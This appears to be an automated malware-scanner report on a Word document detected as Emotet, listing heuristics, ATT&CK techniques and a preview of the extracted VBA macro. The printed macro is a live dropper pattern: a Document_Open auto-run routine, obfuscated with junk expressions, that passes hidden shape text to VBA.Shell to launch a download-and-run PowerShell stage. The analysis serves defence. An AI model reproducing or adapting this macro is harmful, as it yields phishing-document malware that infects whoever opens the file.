MALICIOUS
230
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro that utilizes the Shell() function to execute a PowerShell command. This command is obfuscated but appears to download and execute a second-stage payload. The ClamAV detection and heuristic firings strongly indicate the Emotet family.
Heuristics 7
-
ClamAV: Doc.Malware.Emotet-6744894-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-6744894-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
FormatDateTime (FUXkUk + JFQnok + JRmHp + MdSOMS) * LSRfPC + UBdMz hJrJftTbTD = VBA.Shell(Shapes(XNWJRj + zYCOOcBI + 1 + qbqok + cDInZKo).TextFrame.TextRange.Text + FFsDBNXb + Nousz, AwIquaIua) End Function -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Private Sub Document_open() On Error Resume Next -
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1616 bytes |
SHA-256: 869ad178e22e6b76ad71cc5b3db8815aace403a66da8a83e080c9e1218961595 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "XmGQzKnDADs" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function aHkFz() On Error Resume Next Const AwIquaIua = 772557782 - 772557782 FormatDateTime (CbcTF + iJMQw + oiulGc + mTwfSj) + bkiGw + KUzHc * LHzia + BzRlE + ddJzB + wJjjr FormatDateTime dpbtVO + lRQaf + iqrBdt + AjEUQa + rnmzrG + wHkFE FormatDateTime (FUXkUk + JFQnok + JRmHp + MdSOMS) * LSRfPC + UBdMz hJrJftTbTD = VBA.Shell(Shapes(XNWJRj + zYCOOcBI + 1 + qbqok + cDInZKo).TextFrame.TextRange.Text + FFsDBNXb + Nousz, AwIquaIua) End Function Private Sub Document_open() On Error Resume Next TimeValue (qGHRh + poIbB * (wXUBWR + zTocKG)) FormatNumber (TFiFFG + WnJrQ + sTjjj + pbRsN) FormatDateTime apDOtu + KWWijJ + KCMQb + CpFPlJ + UZXuSz + OmNiUj + sGttn + jjQjY + tikjnc + QclwcL * isYoiw + WKjMWz + zoIoVd + wiCZC TimeValue vKqWjc + XodfDX + NAOXw + UzcDO / dKziK + SkOiX + VdtfMk + Ywszof / (CFUvh + IQwoaG + WknAj + mBTWon - (LqXlKJ + pGNPS)) FormatDateTime (DcQXX + nqSwpQ) FormatDateTime NVOfLZ + Dbvovw / fhnth + ccjIYm + BdzKzU + anMVQ - rQZbd + BKJvXN + AJlpG + YaiZi + obtjsU + cLpMC aHkFz TimeValue kcfzCn + lJjFBV + KqjVh + wTLkZ - fqrLv + QQGZUz + tqZqT + iFKMv + nqFmQR + ajHpuw + SkEKkW + OnOXcr * (qPUiv + HwKip) TimeValue lpsiZw + TupwFN + vNqvqo + HaQaF + pLzikc + nlmrE + pHzuuP + lPcVH + (piiOb + ULKIz * (NdvEK + zqCzwI + WLAAZj + bXmjJX)) End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.